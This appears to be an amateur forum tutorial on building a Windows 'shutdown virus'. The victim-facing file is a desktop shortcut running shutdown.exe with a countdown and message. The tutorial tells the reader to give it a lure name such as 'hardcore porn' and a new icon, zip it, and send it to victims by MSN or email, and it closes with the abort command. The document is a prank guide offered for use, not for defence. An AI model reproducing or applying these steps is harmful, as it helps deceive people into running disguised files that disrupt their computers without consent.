Well it's not really a virus of a hack because it doesn't damage anything. But that aside what it will do is shutdown the victims computer, this can be put in MSN convos so it is VERY fun to have, and it can also be put in emails and such like things.

1) Right click on desk top, and then go New, then Shortcut.

2) Then in the "type location of the item" you want to type:
%windir%\system32\shutdown.exe -s -t 120 -c "This is a virus"


You can change "this is a virus" to anything you would like thats just the message that will appear.
The 120 you typed in can also be change at will, this is simply the amount of time they receive in till there computer will shutdown.
Once the code has been entered as you have seen above click next.

My advice would be to rename it something like.... wicked game, hardcore porn. Depends on the victims age and sex. But make sure you call it something good or the victim won't bother clicking on it.
After you have given it a name click on finish.
You should now have an icon on your desktop that is called "wicked game" or whatever name you gave it.
It is also advised you change the icon to something different.

3) Change name and icon.

4) Now to send it to some one you need to make a compressed file.
This can be done by right clicking on the desktop, New, Compressed file (zipped)
Then another folder should appear on your desktop click on this and drag your shutdown virus into the zipped folder.

5) Once your shutdown virus is in your compressed folder rename it.
Make sure to give it a similar name as to the file inside it like "Great Game.zip"
Dont forget to add the .zip at the end.
WARING! Make sure when you rename the compressed folder to add .zip at the end it is very important.

Now feel free to send it to anyone.

As a safe guard I will tell you how to stop the shutdown count down. Just encase you ever click it your self LOL
Ok go to start, run, type cmd, then in cmd type: shutdown -a
Thats about it have fun guys.